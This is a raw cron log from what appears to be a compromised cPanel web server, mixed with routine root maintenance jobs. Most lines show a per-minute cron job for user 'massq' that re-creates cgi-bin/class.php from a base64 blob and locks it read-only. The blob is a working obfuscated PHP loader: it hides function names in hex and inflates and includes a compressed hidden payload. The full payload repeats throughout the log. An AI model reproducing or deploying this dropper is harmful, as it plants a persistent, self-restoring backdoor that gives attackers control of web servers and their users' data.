Nov 15 02:15:02 server CROND[14730]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:15:02 server CROND[14731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:16:01 server CROND[15255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:17:01 server CROND[15519]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:18:01 server CROND[15788]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:19:01 server CROND[16061]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:20:01 server CROND[16343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:20:01 server CROND[16344]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 02:20:01 server CROND[16349]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:20:01 server CROND[16347]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 02:20:01 server CROND[16348]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 02:21:01 server CROND[16681]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:22:01 server CROND[17041]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:23:01 server CROND[17312]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:24:01 server CROND[17592]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:25:01 server CROND[17863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 02:25:01 server CROND[17862]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:25:01 server CROND[17865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:25:01 server CROND[17864]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 02:26:01 server CROND[18206]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 02:27:01 server CROND[18637]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 02:27:01 server CROND[18639]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
